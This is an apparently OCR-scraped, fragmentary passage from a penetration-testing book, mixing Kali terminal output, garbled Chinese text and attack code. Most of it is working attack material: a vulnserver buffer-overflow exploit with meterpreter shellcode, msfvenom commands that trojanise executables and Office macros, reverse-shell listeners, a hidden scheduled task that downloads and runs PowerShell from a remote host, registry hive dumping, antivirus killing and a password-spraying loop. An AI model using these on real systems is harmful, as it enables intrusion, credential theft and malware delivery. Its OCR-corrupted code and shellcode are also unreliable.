NT AUTHORITY\ANONYMOUS LOGON
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AN
A<

run post/windows/manage/

inject_host

FEVFHC A 7E Windows HOSTS SCHF P38 & H o mT LABR B 3 it B AS [ 14
PLE (RIS, FTLAT #HAl T B, sl of RR SN e 12 31 N 45 i o
FRIA L IR 55 #5185 44 T

run post/windows/gather/

cachedump

Ak TR NEAEE, TP RO

run use post/windows/

manage/ killav

TEARBIRSG LIEAT, MRZERIRTEMS R XAMARZELN, %
LT EEA RER U

run winenum

PAT— a8, WMIC $# ik — 1B AR RS, BN EM
LM 5 75 G dEE 1Y key

run scraper

WA LABIAIA ARSI Y . (58, HINTERN) Windows FENFERIE R

run upload fll run download

SVFECl AR ARRAR S E R T RO
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meterpreter > run winenum

[*] Running Windows Local Enumeration Meterpreter Script
[*] New session on 192.168.0.119:445...

[*] Saving general report to /root/.msf4/logs/scripts/win
[*]1 output of each individual command is saved to /root/.
[*]1 Checking if VICTIM is a Virtual Machine

[x] This is a VMware Workstation/Fusion Virtual uaclu
[*1 UAC is Enabled

[*] Running Command List ...

6] running command netstat -nao

[*1 running command ipconfig /all

Ex] running command netstat -ns

EXl running command net view

=] running command route print

Er] running command net accounts

[*1 running command ipconfig /displaydns

[*1 running command netstat -vb

running command cmd.exe /c set

[*1 running command arp -a

422 running net group administrators

(53 ] running net view /domain

£*] running netsh firewall show config

F=1 running tasklist /svc

£*] running net localgroup administrators
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Veil-Pillage: post-explotation framework | [Version]: 1.1.2

[Web] : https://www.veil-framework.com/ | [Twitter]: @VeilFramework

Main Menu

61 modules loaded

Available commands:

use use a specific module

list list available [modules, targets, creds]
set set [targets, creds]

setg set global module option

reset reset [targets, creds]

db interact with the MSF database

cleanup run a module cleanup script

exit exit Veil-Pillage
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[>] Please enter a command: set targets 192.168.0.166

[>] Please enter a command: list targets

[*] Current targets:

192.168.0.166

[>] Please enter a command: set creds

[>] Enter a username or credump file: advanced\vagrant

[>] Enter a password or LM:NTLM hash: vagrant

[>] Please enter a command: use persistence/add_local_user
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meterpreter > impersonate token "NT AUTHORITY\\SYSTEM"

[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
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import socket

IP = raw_input ("enter the IP to crash:")

PORT = 9999

s = socket.socket (socket .AF_INET, socket.SOCK_STREAM)
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s.connect ( (IP,PORT) )
banner = s.recv (1024)
print (banner)

command = "TRUN "
header = "|/.:/"
buffer = "zZ" * 10000

s.send (command + header + buffer)
print ("server dead")





OEBPS/Image00460.jpg
BN CAWindows!Systern3Z\cmd.exe - vulnserver,exe o ==

Received a client connection from 192.168.08.137:59862
aiting for client connections...
failed with erro

B wulnserver.exe

E vulnserver.exe has stopped working

Windows can check online for a solution to the problem.

ient connections... # Check online for a solution and close the program
end_falled with error: 16854

# Close the program

PPN (A Hide problem details
eceived a client connection

Jaiting for client connections
Send failed with error: 10854

Application Timestamp: 4cefi3b0n

Fault Madule Mame: StackHash_a%e
Fault Module Version: 0.0.0.0

Fault Module Timestarnp: noonnonn
Exception Code:
Exception Offset: 1

05 Version: 6.1, 76012 1.0.256.1

Locale ID: 1033

Additinnal Tnfrrrastion 1: N0
P i
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
@BTRE QA « » 0« Q @ @ I

Wireshark - Follow TCP Stream (tcp.stream eq 1) - wireshark_eth0.20170604224330_UhQsVm|

Welcome to Vulnerable Server! Enter HELP for help.
T R TRu; o ulneral erve n EL r help
97392408 1924 |,/ A

67407301 192

29 3.1505!

7098 192

Frame 23: 5076 bytes on
Ethernet IT, Src: Vmware
Internet Protocol Versi
Transmission Control Pro
Data (5010 bytes)
Data: 5452554e207c2f2¢
[Length: 5010]

T v~
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root@kali:~# python crash.py
enter the IP to crash:192.168.0.119

Welcome to Vulnerable Server! Enter HELP for help.

server dead
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/generic_send_tcp host port spike_script SKIPVAR SKIPSTR
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s_readline();
s_string ("TRUN |");
s_string_variable ("VALUE") ;
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root@kali:~# generic send tcp 192.168.0.119 9999 exploitfuzz.spk 0 0
Total Number of Strings is 681

Fuzzing

Fuzzing Variable 0:0

line read=Welcome to Vulnerable Server! Enter HELP for help.

Fuzzing Variable 0:1

line read=Welcome to Vulnerable Server! Enter HELP for help.
Variablesize= 5004

Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21
Fuzzing Variable
Variablesize= 3

Fuzzing Variable
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s_readline();
s_string ("SRUN |");
s_string_variable ("VALUE") ;
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root@kali:~# generic send tcp 192.168.0.119 9999 exploitfuzz.spk 0 0
Total Number of Strings is 681

Fuzzing

Fuzzing Variable 0:0

line read=Welcome to Vulnerable Enter HELP for help.

Fuzzing Variable 0:1

line read=Welcome to Vulnerable Enter HELP for help.

Variablesize= 5004

Fuzzing Variable 0:2

line read=Welcome to Vulnerable Enter HELP for help.
Variablesize= 5005

Fuzzing Variable 0:3

line read=Welcome to Vulnerable Enter HELP for help.
Variablesize= 21
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import socket

IP = raw_input ("enter the IP to hack")

PORT = 9999

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM
s.connect ((IP, PORT))

banner = s.recv(1024)
print (banner)

command = "TRUN "
header = "[/.:/"

buffer = "z" * 2002
#625011AF FFE4 JMP ESP
eip = "\xAF\x11\x50\x62"

nops "\x90" * 50

buf = nn

buf "\xd9\xc0\xd9\x74\x24\x£4\x5d\xb8\x8b\x16\x93\x5e\x2b"
buf "\xc9\xb1\x61\x83\xed\xfc\x31\x45\x16\x03\x45\x16\xe2"
buf "\x7e\xcf\x53\x87\x£f4\xd4\xa7\x62\x4b\xfe\x93\xla\xda"

buf += "\xd4\xea\xac\x47\x1a\x97\xd9\xf4\xb6\x9b\xe5\x6a\xBe"
buf += "\x0f\x76\x34\x24\x05\x1c\xb1\x08\xbe\xdd\x30\x77\x68"
buf "\xbe\x£8\x2e\x89\xc9\x61\x6c\x50\xf8\xa9\xef\x7d\xbd"
buf += "\xd2\x51\x11\x59\x4e\x47\x07\x£9\x83\x38\x22\x94\xe6"

buf "\x4d\xb5\x87\xc7\x54\xb6\x85\xa6\x5d\x3c\x0e\xe0\x1d"
buf "\x28\xbb\xac\x65\x5b\xd5\x83\xab\x6b\x£3\xe7\x4a\xc4"
buf += "\x65\xdf\x76\x52\xf2\x18\xe7\xf1\xf3\xb5\x6b\x02\xfe"
buf "\x43\xff\xc7\x4b\x76\x68\x3e\x5d\xc4\x17\x91\x66\x08"
buf "\x21\xd8\x52\x77\x99\x59\xa9\x74\xba\xea\x£d\x0£\xfb"
buf x11\x£3\x29\x70\x2d\x3£\x0d\xbb\x5c\xe9\x13\x5£\x64"
buf "\x35\x20\xd1\x6b\xc4\x41\xde\x53\xeb\x34 \xec\x£8\x07"
buf "\xac\xel\x43\xbc\x47\x1£\x6a\x46\x57\x33\x04\xb0\xda"
buf "\xe3\x5d\xf0\x67\x90\x40\x14\x9b\x73\x98\x50\xad4\x19"
buf "\x80\xe0\x4b\xb4\xbc\xdd\xac\xaa\x92\x2b\x07\xa6\x3d"
buf "\xd2\x0c\xdd\x£9\x99\xb9\xdb\x93\x93\x1e\x20\x89\x57"
buf "\x7c\xle\xfe\x45\x50\x2a\x1a\x79\x8c\xbf\xdb\x76\xb5"
buf "\x£5\x98\x6c\x06\xed\xa8\xdb\x3f\x67\x67\x56\x25\xe7"
buf += "\xcd\xa2\xal\x0f\xb6\xc9\x3f\x4b\x67\x98\x1f\xe3\xdc"
buf += "\x6f\xc5\xe2\x21\x3d\xcd\x23\xcb\x5f\xe9\x30\x£7\xf1"

buf

"\x2d\x36\x0c\x19\x58\x6e\xa3\xff\xde\x2b\x52\xea\xe7"

buf "\x42\xcb\x21\x3d\xe0\x78\x07\xca\x92\xe0\xbb\x84\xal"
buf "\x61\x£4\xfb\xbc\xdc\xcB\x56\x63\x12\x£8\xb5\x1b\xdc"
buf "\xle\xda\xfb\x12\xbe\xc1\x56\x5b\x£9\xfc\xfb\xla\xcO"
buf "\x73\x65\x54\x6e\xd1\x13\x06\xd9\xcc\xfb\x53\x99\x79"
buf "\xda\x05\x34\xd2\x50\x5a\xd0\x78\x4a\x0d\x6e\x5b\x66"
buf += "\xbb\x07\x95\x0b\x03\x32\x4c\x23\x57 \xce\xbl\x1f\x2a"

buf "\xel\xe3\xc7\x08\x0c\x5c\xfa\x02\x63\x37\xb9\x5a\xd1"
buf "\xfe\xa9\x05\xe3\xfe\x88\xcf\x3d\xda\xf6\x£0\x90\x6b"
buf += "\x3c\x8b\x39\x3e\xb3\x66\x79\xb3\xd5\x8e\x71"

s.send (command + header + buffer + eip + nops + buf)

print ("server pawned - enjoy the shell")
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msf > use exploit/multi/handler

msf exploit(handler) > set lhost 192.168.0.137
Ihost => 192.168.0.137

msf exploit(handler) > set lport 4444

Iport => 4444

msf exploit(handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.0.137:4444
[*] Starting the payload handler...
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6258111
E2EB11B2
52581164
62581 1BS
E2EB1 1BE
525811E7
62581 1E8
E2EB11E9
525a11EE
62581 1ED
E2EB1 1BF

sz25a11C8
FAEATTCT

JHF ERA
POP ERX
POP ERX
RETH

POF EEP
RETH
FUSH _EEF
MOU EBP, ESP
JHMP ESP
JHF ECH
FOP EEX

POP EEX
RETH
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msfvenom -a x86 —--platform Windows -p windows/meterpreter/reverse_tcp
lhost=192.168.0.137 lport=4444 -e x86/shikata_ga_nai -b '\x00' -i 3 -f

python
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root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern create.rb -1 4000
AaOAalAa2Aa3Aad4haS5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4ADSAL6AD7ADBADIACOACIAC2AC3AC4AACSAC6ACTACBACIACO|

Ad1Ad2Ad3Ad4AdSAA6AdTAdBAdIAC0Ae1Re2Ae3AedRe5Ae6Ae TACBACOATOAF1AT2AFIAFAAFSAT 6ATTATBAF9AGOAGL
Ag2Ag3Ag4Ag5AgEAgTAGBAGOAhOAh1Ah2Ah3Ah4AhSAh6AhTAhSANIAL OA1 1A 2A1 301 4A1 5A1 6A17A18A1 9AJ0A1AT2
Aj3Aj4A75A] 6AF 7R 8A] IAKOAK1Ak2Ak3Ak4AK5Ak 6AKTAKBAKIAL0AL1A12A1 3A14A1 5A1 6A17A1 8A1 9AMOAM] Am2Am3
Am4Am5Am6AM7AmSAMIANOAN1 An2An3AN4ANSAN6An TANBANIACOAC1AC2A03A04A05A06A0TACBACIAPOAD1AD2AD3ADS

Ap5AD6AD7APBAPIAqOAGLAq2Aq3Aq4AqSAG6AGTAGBAGIATrOAY1AT2AY SAY AT5ATY 6AY TArBAY 9OASOASIAS2ASIASAASS

As6AsTAsSBAsIAtOAtIAt2At3At4ALSAL6ALTALBALIAUOAUIAUZAU3AU4AUSAU6AUTAUSAUIAVOAVIAV2AVIAVAAVEAVE|
AvTAVEAVIAWOAWIAW2AW3AWAAWSAW6AWTAWBAWIAXOAX1 Ax2AXx 3AX4AxSAX6AX TAXBAX9AYOAY1AY2Ay 3Ay4AY 5SAY 6Ay 7|
Ay8AYy9AZO0Az1AZz2Az3Az4AZz5AZ6AZzTAZ8AZ9Ba0BalBa2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7BbS)|
Bb9BcOBclBc2Bc3Bc4Bc5Bc6Bc7Bc8BcIBA0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0BelBe2Be3Be4Be5Be6Be7Be8Be Y
BfOBf1Bf2Bf3Bf4Bf5SBf6BE7BLBBL9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8BgIBhOBh1 Bh2Bh3Bh4Bh5Bh6Bh7Bh8BhIB10
BilBi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3B74B58] 6B 7B]8Bj 9BKOBKk1Bk2Bk3Bk4BK5Bk 6Bk 7BK8BK9B10B11
B12B13B14B15B16B17B18B19BEm0BEm1 Bm2Em3Bm4 Bm5Em6Bm7Bm8Em9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9B0o0Bo1B02
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root@kali: /usr/share/metasploit-framework/tools/exploit#
./pattern_offset.rb -qg 0x6F43376F -1 4000
[*] Exact match at offset 2002
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import socket

IP = raw_input ("enter the IP to crash:")
PORT = 9999

s = socket.socket (socket .AF_INET, socket.SOCK_STREAM)
s.connect ( (IP,PORT))

banner = s.recv(1024)

print (banner)

command = "TRUN "

header = "|/.:/"

#buffer = "z" * 10000

pattern = <value>

s.send (command + header + pattern)
print ("server dead")
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ERAX B225F2@@ ASCII
ECX @@56590C

EDX Bap00886

EEX BRABEETC

ESP B225F9E@ ASCII "8Co9CpACp1Cp2Cp3Cp4CpSCralpFCpBipICadCalCa2Ca3Ca4CaStastar
EEP 43365F43

ESI Ba000886a

EDI Bapa0ana

EIP IEF4SS7ER

ES B02B 32bit BIFFFFFFFF)
CS 8823 32bit BIFFFFFFFF)

§5 BBZE 3Zbit BIFFFFFFFF)
DS B82E 3Zbit @(FFFFFFFF)
FS @B52 32bit FEFDABOALFFF)
G5 B8ZE 3Zbit B(FFFFFFFF)

LastErr ERROR_SUCCESS (0800800&8)
Bap16246 (MO,ME,E,BE,NS,PE,GE,LE)

enpty

EMPEY

enpty

empty

EMpty

EMptY

empty

enpty

32818

P68 Cond A B B A Err 8 A
B827F Prec MEAR,53 HMask
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alive6 Fl detect-new-ip6 IPv6 FHLKI . detect-new-ip6 IZF TTEHERIIEIA I, BB IPv6 BAHIIMA
nmap JEARE IR ZEMEE TR dnmp J&—Fh oA 2% o — IR 55 e, 908l
dnmap F1 nmap nmap FIH#E

PBNJ ¥ nmap S AAFRHTERAR AT, AT S04 THUI T AL

fping, hping2. hping3 Fl nping | KA TH, FHEMIr=Cmn; BEr, B EVLATE S





OEBPS/Image00344.jpg
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"k

'* MACRO CODE

"k

Tk hhkhkhhhkhhhkh Ak hhhkh Ak h Ak hhhkhhhkhhhkhhhkhhhkhhhkhhhkhh Ak h Ak hkrkkkhk****

Sub Auto_Open ()
Pzstul2
End Sub
// Additional code removed for clarity

Sub Workbook_Open ()
Auto_Open
End Sub
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root@kali:~# wafw0of

101N T I 1, N\ N
IV //0// 71NN //0//0 7 7
'/ /// 1, NN\

<

WAFWOOF - Web Application Firewall Detection Tool

By Sandro Gauci && Wendel G. Henrique

Checking http://EEEEHank . com
The site http://mmmiilbank.com is behind a CloudFlare
Number of requests: 1
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while read r; do nc -v -z target $r; done < ports
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msfvenom -a x86 —--platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.0.124 LPORT=8080 -e x86/shikata_ga_nai -f vba-exe
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while read r; do nc -v -z $r 1-65535; done <iplist
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root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse t
cp LHOST=192.168.1.101 LPORT=8080 -e x86/shikata ga nai -f vba-exe

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga nai
x86/shikata_ga nai succeeded with size 360 (iteration=0)

x86/shikata ga nai chosen with final size 360

Payload size: 360 bytes

Final size of vba-exe file: 20431 bytes

PRREERRRIRERRERRRKRRRRRERERRRERRRERRRIRRRERRERERRRRRRRRRERRRRE
*

'* This code is now split into two pieces:

'* 1. The Macro. This must be copied into the Office document

o macro editor. This macro will run on startup.

x

'* 2. The Data. The hex dump at the end of this output must be

* appended to the end of the document contents.
.

TRRERRRRERRKRERRKRRRERRERERRRRRRERRRERRRRRRRRRRRRIRRRRERRRIRRRR
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root@kah ~# while read r; do nc -v -z $r 1-65535; done < iplist
[192.168.0.1] 56209 (?) open
[192.168.0.1] 49152 (?) open
[192.168.0.1] 45555 (?) open
[192.168.0.1] 8183 (?) open
[192.168.0.1] 8182 (?) open
[192.168.0.1] 8181 (?) open
[192.168.0.1] 7777 (?) open
[192.168.0.1] 4433 (?) open
[192.168.0.1] 443 (https) open
[192.168.0.1] 80 (http) open
[192.168.0.1] 53 (domain) open

DNS fwd/rev mismatch: kali != kali.secure

kali [192.168.0.124] 55982 (?) open

kali [192.168.0.124] 33658 (?) open

kali [192.168.0.124] 8000 (?) open

kali [192.168.0.124] 22 (ssh) open

cococoocoeoooR
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root@kali:~/cli-expl# msfvenom -p windows/meterpreter/reverse_tcp -k -x putty.exe LHOST=192.168.0.124 LPORT=4555 -f exe -o

game . exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes

Final size of exe file: 515072 bytes

Saved as: game.exe
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®¥ OWASP Mutillidae Il: Web Pwn in Mass Prq

Version: 2.6.43 _ Security Level: 0 (Hosed) _ Hints: Enabled (1 - 5cript Kiddle) N

Home Login/Register Toggle Hints Show Popup Hints  Toggle Secu: Enforce SSL ResetDB  View|

owasP 2013 A1 - Injection (SQL)

A1 - Injection (Other)

owasP 2010 Video Tutorials

————————— A2 - Broken Authentication and
owasp 2007 Session Management

[r— A3 - Cross Site Scripting (XSS) Reflected (First Order)

A4 - Insecure Direct Object Persistent (Second Order) Add to your blog

il S References

DOM-Based View someone's blog

Others AS - Security Misconfiguration
ity Hisconfiratio Via "Input” (GET/POST) Show Log

Z A6 - Sensitive Data Exposure .
ITmmEETE Via HTTP Headers jort Email Address
A7 - Missing Function Level Access

oy Control Via HTTP Attribute

A8 - Cross Site Request Forgery  » Via Misconfiguration

Donate (csrr) Against HTMLS Web Storage Announcements

UL 7o - Using Components with Known  pgainet 350
uinerabilities

Via Cookie Injection
You A0 - Unvalidated Redirects and Lo

Forwards Via XML Injection
Video Tutorials Via XPath Injection
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Checking for DNS-Loadbalancing: NOT FOUND
Checking for HTTP-Loadbalancing [Server] :

NOT FOUND

Checking for HTTP-Loadbalancing [Datel: 17:27:46, 17:27:49, 17:27:49, 17:27:49, 17:27:50, 17:27:51, 17:
:27:51, 17:27:52, 17:27:53, 17:27:53, 17:27:53, 17:27:53, 17:27:54, 17:27:54, 17:27:54, 17:27:54, 17:27

7:56, 17:27:56, 17:27:56, 17:27:57, 17:27:58, 17:27:59, 17:27:59, 17:28:0
02, 17:28:02, 17:28:02, 17:28:03, 17:28:03, 17:28:03, 17:28:04, 17:28:04, 17:28:04, 17:28:04, 17:28:05,
, 17:28:05, 17:28:05, 17:28:06, 17:28:06, 17:28:06, NOT FOUND

Checking for HTTP-Loadbalancing [Diff]: FOUND
< X-FB-Debug: gH1XloFaMawzdTIhvztN8zTMV/pT5ew73pkYBXII6kJ1gSO/an88DfmlypdxVrJIf/IMIk1vtgDWYhB30£1S09A-
> X-FB-Debug: kbALvksg+I4qquNGJIro8Jt3HE1St/ta5fpEnP5IXWG7Uy tmE3HIEX5EUMIVE8IA1gEIVBZENOqIL1rTSTEVVuSg—

www . facebook.com does Load-balancing. Found via Methods: HTTP[Diff]
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msfvenom -p windows/meterpreter/reverse_tcp -k -x original_file.exe
LHOST=[YOUR_IP] LPORT=[PORT] —-f exe -o clone_file.exe
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root@kali:~# fragroute

Usage:
Rules:

fragroute [-f file] dst

delay first|last|random <ms>

drop first|last|random <prob-%>

dup first|last|random <prob-%

echo <string> ...

ip_chaff duplopt|<ttl>

ip_frag <size> [old|new]

ip_opt 1srrissrr <ptr> <ip-addr> ...
ip_ttl <ttl>

ip_tos <tos>

order random|reverse

print

tcp_chaff cksum|nul1|paws|rexmit|seq|syn|<ttl>
tcp_opt mss|wscale <size>

tcp_seg <size> [old|new]
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root@kali:~/cli-expl# msfconsole -q -r listen

[*] Processing listen for ERB directives.

resource (listen)> use exploit/multi/handler

resource (listen)> set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windows/meterpreter/reverse_tcp

resource (listen)> set LHOST 192.168.0.124

LEOST => 192.168.0.124

resource (listen)> set LPORT 4555

LPORT => 4555

resource (listen)> set ExitOnSession false
Exitonsession => false

resource (listen)> exploit -j -z

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.0.124:4555

[*] Starting the payload handler...

msf exploit(handler) > [*] Sending stage (957487 bytes) to 192.168.0.166

] Meterpreter session 1 opened (192.168.0.124:4555 -> 192.168.0.166:50171) at 2017-04-23 23:
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root@kali:-# traceroute
traceroute to Wyl con (162.mEMEN.227) , 30 hops max, 60 byte packets
1 ae2-er-0l1-glsfb.ni.time.net.my (223.28.26.41) 7.246 ms 7.145 ms 7.122 ms
2 223.28.2.1 (223.28.2.1) 35.987 ms 36.557 ms 20.304 ms
3 Bundle-Etherl-br-0l-mciwg.ni.time.net.my (223.28.26.82) 12.069 ms 12.009 ms 11.750 ms
4 124.158.226.149 (124.158.226.149) 19.779 ms 19.762 ms 19.742 ms
5 xe-0-1-0-1.cr-gw-2-sin-pip.sg.globaltransit.net (124.158.224.241) 19.718 ms xe-0-1-0-1.cr-gw-1-sin-pig
it.net (124.158.224.237) 19.702 ms 19.629 ms
ae-1.br-gw-1-sin-pip.sg.globaltransit.net (124.158.224.42) 19.447 ms 28.823 ms 28.704 ms
xe-0-6-0-7.r00.sngpsi02.sg.bb.gin.ntt.net (116.51.17.185) 28.478 ms 13.957 ms 13.922 ms
ae-1.r20.sngpsi05.sg.bb.gin.ntt.net (129.250.3.146) 13.871 ms 13.868 ms 13.846 ms
ae-8.r22.snjscal4.us.bb.gin.ntt.net (129.250.3.48) 177.679 ms 177.234 ms 177.139 ms
ae-0.r23.snjscal4.us.bb.gin.ntt.net (129.250.2.183) 188.780 ms 194.846 ms 192.451 ms
ae-3.r21.sttlwall.us.bb.gin.ntt.net (129.250.3.125) 201.163 ms 211.611 ms 199.117 ms
ae-0.r20.sttlwall.us.bb.gin.ntt.net (129.250.2.53) 195.172 ms 199.031 ms 201.141 ms
.r24 .nycuny0l.us.bb.gin.ntt.net (129.250.4.14) 273.767 ms 273.766 ms 273.707 ms
.x08.nycmny0l.us.bb.gin.ntt.net (129.250.5.62) 261.277 ms 261.268 ms 257.870 ms
.digital-ocean.nycmny0l.us.bb.gin.ntt.net (157.238.179.154) 259.337 ms 356.747 ms 356.690 ms
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[¥] Meterpreter session 1 opened (192.168.0.124:4555 -> 192.168.0.166:50171) at 2017-04-23 23:49:07 -0400

Active sessions

Information

1 meterpreter x86/windows ADVANCED\vagrant @ METASPLOITABLE3 192.168.0.124:4555 -> 192.168.0.166:50171 (192.168.0.16)
6

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1.

moterpreter > sysiafo
Computer. : METASPLOTTABLE3

os : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture x64

System Language : en US

Domain ADVANCED

ZLogged on Users : 3

Meterpreter x86/windovs
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root@kali:~# fragroute 192.168.0.143
fragroute: tcp_seg -> ip_frag > ip_chaff > ip_ttl > order > print
192.168.0.124.30003 > 192.168.0.143.30551: SP 1783462266:1783462294(28) win 30324 [tos 0x10] [delay
0.001 ms]
192.168.0.124.47976 > 192.168.0.143.2222: S 204684773:204684773(0) win 29200 <mss 1460,sackoK, timest
amp 147562966 0,nop,wscale 7> [tos 0x10]
192.168.0.124.22882 > 192.168.0.143.14418: SF 1145845612:1145845620(8) ack 1718833993 win 17528 urg
18809 <[bad opt]> [tos 0x10] [delay 0.001 ms]
192.168.0.124.47976 > 192.168.0.143.2222: . ack 1250190100 win 229 <nop,nop,timestamp 147562970 4294
942010> [tos 0x10]
192.168.0.124 > 192.168.0.143: (frag 49776:2@32) [tos 0x10] [delay 0.001 ms]
192.168.0.124.18540 > 192.168.0.143.29749: P 1882277722:1882277734(12) ack 796406353 win 16980 urg 2
6439 (frag 55940:32@0+) [tos 0x10] [delay 0.001 ms]
.0.124.47976 > 192.168.0.143.2222: P ack 1250190100 win 229 <nop,nop,timestamp 147565057 4294|
(frag 61342:32@0+) [tos 0x10]
.0.124 > 192.168.0.143: (frag 61342:2@32) [tos 0x10]
.0.124 > 192.168.0.143: (frag 61342:2@32) [tos 0x10] [delay 0.001 ms]
.0.124.47976 > 192.168.0.143.2222: P ack 1250190100 win 229 <nop,nop,timestamp 147565057 4294|
(frag 55940:32@0+) [tos 0x10]
.0.124 > 192.168.0.143: (frag 43545:1@32) [tos 0x10]
.0.124.47976 > 192.168.0.143.2222: P ack 1250190100 win 229 <nop,nop, timestamp 147565057 4294
£ ocoon. 2000 o
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use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.0.124
set LPORT 4555
set ExitOnSession false
exploit -j -z
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GNU nano 2.7.4 File: /etc/fragroute.cont






OEBPS/Image00339.jpg
msfconsole -q -r nameofyourfile
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#65)

]

arp

arp /a
arp /a /n 10.0.0.99
arp /s 10.0.0.80 00-AA-00-4F-2A-9C

BAIFEY ARP ZA7 IR 2% H

route

route print

route print 10.*

route add 0.0.0.0 mask 0.0.0.0
192.168.12.1

route delete 10.*

55 ARP 25Bl, T LARIA route e T A
IP i, BSOS R

netstat

netstat -n -o

S RAML R W BTAT I ) TCP MR
i1, BPWETERE LK RO IP B & (1Pv4
FIPVG ) ARG KL

nbtstat

nbtstat /R
nbtstat /S 5
nbtstat /a Ip

S U P A9 45 MAC HhE
9 NETBIOS fi &, HHIT MAC Rt

wmic

wmic process get

caption, executablepath, commandline
wmicnetshwlan profile = "profilename"
key=clear

wmic ] - Xl # 0T RLERAT A BT AT i 2
W7, 5 Qg LAFE S i 4 PR IR AT WiFi

reg

reg save HKLM\Security sec.hive
reg save HKLM\System sys.hive

reg save HKLM\SAM sam.hive

reg add [\\TargetIPaddr\]
[RegDomain][ \Key ]

reg export [RegDomain]\[Key]
[FileName]

reg import [FileName ]

reg query [\\TargetIPaddr\]
[RegDomain]\[ Key ] /v [Valuename!]

KEBIGEH ] reg i & HAAF TR
FCEETT, DTN T

for

for /L %i in (1,1,10) do echo %ii &&
ping -n 5 IP

for /F %i in (password.lst) do @echo
$i& @net use \\[targetIP] %i
/u:[Username] 2>nul&& pause && echo
[Username] :%i>>done.txt

for JEFR AT LATE Windows 1 FH - 61 &3 11
S PR
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PN
A<

24

iR

Nslookup

Server nameserever.google.com

Nslookup i T4 i 3 4 IR 55 #% ( Domain

nslookup - Name Server, DNS), 754> {# ] Nslookup
e e=an P -
apeee HETT DNS KB4
ls -d anydomain.com
net view net view SRR / 3824 FUHAD =GR 0 51 3

net share

net share list="c:"

EHILZYHR, BRAMARS LIt
BHRBIE B

net use \\[targetIP] [password]

et use /u:[user] FEE R [R]— W% E AR T RS Bl LA
net use \\[targetIP]\[sharename] ERR e ATE SRR
[password] /u:[user
net user [UserName [Password | *]
[options]] [/domain
et user net user [UserName {Password | *} BaRAFRHAPNELS, FEHET SR

/add [options] [/domain]]

net user [UserName [/delete]

[/domain]

XA
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fping -g IPrange
nmap -sP IPrange
for i in {1..254}; do ping -c¢ 1 10.10.0.$i | grep 'from'; done
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schtasks /create /tnMSOfficeMngmt /tr "pow-ershell.exe
-WindowsStyle hidden -NoLogo -NonInteractive

-ep -bypass -nop -c 'IEX ((new-object

net .webclient) .downloadstring
("'"http://192.168.1.104:4444/boom"'"''))'" /sc on-logon

/ru System
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

R2 Qe x|kl = B oy E

797- Expression..  +

Source Destination Protocol Length Info
IntelCor_8c:cc: Broadcast ARP 60 Who

192. 168 ©.1432 Tell 192.

.179222891

.816694550 IntelCor_8c: Broadcast ARP 60 Who has 192. .9.

.816714251 IntelCor_8 Broadcast ARP 60 Who has 192. .0.

.816717524 IntelCor_8 Broadcast ARP 60 Who has 192. Al 1

.816719344 IntelCor_8c: Broadcast ARP 60 Who has 192. .0.

.816721088 IntelCor_8i Broadcast ARP 60 Who has 192. .0.

.816722900 IntelCor_8i Broadcast ARP 60 Who has 192. .0.57 .
.816724678 IntelCor_8i Broadcast ARP 60 Who has 192. .0.6? Tell 192.
.918954760 IntelCor_8c: Broadcast ARP 60 Who has 192. .0.11? Tell 192.
.918984815 IntelCor_8 Broadcast ARP 60 Who has 192. .0.14? Tell 192.
.918988282 IntelCor_8 Broadcast ARP 60 Who has 192. -0.15? Tell 192.
.840627472 IntelCor_8c: Broadcast ARP 60 Who has 192. .0.243? Tell 192
.840648652 IntelCor_8 Broadcast ARP 60 Who has 192. .0.244? Tell 192
.840650411 IntelCor_8 1 Broadcast ARP 60 Who has 192. .0.245? Tell 192..
840652036 IntelCor 8c: cc'64 Bruadcast ARP 60 Who has 192 -6.246? Tell 192..

» Frame 1@4: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface @
» Ethernet II, Src: CadmusCo_08:fc:e7 (08:00:27:08:fc:e7), Dst: IntelCor_8c:cc:64 (8c:70:5a:8c:cc:64)
> Address Resolution Protocol (reply)
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Cancel ‘ Merge Folder @ Skip

Merge folder “modules™?

A newer folder with the same name already exists in “metasploit-framework”.
Merging will ask for confirmation before replacing any files in the folder that conflict with the files being copied.

Original folder
Items: 7 items
Last modified: 07:07

Merge with
Items: 1 item
Last modified: 19 Mar 2013

U

3

elect a new tir

n

[/]Apply this action to all files and folders
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msfconsole —-q -r vbexploit.rc
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rootfkali:~# msfvenom --platform windows -p windows/meterpreter/reverse tcp LHO:
T=192.168.0.124 LPORT=8080 -f vba-exe > attack.exe
[Ne Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of vba-exe file: 20254 bytes
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root@kali:~# xprobe2www.target.com
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'* PAYLOAD DATA
g3
B T ey

Lexuroceub

&H4D&HS5A&H90&H00&H03&H00&H00&H00&H04 &H00&H00&H00 &HFF &HFF&H00&H00 &HB8 &H00&H00&HO
&H00&HO0&H00&HO00&H40&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&HO!
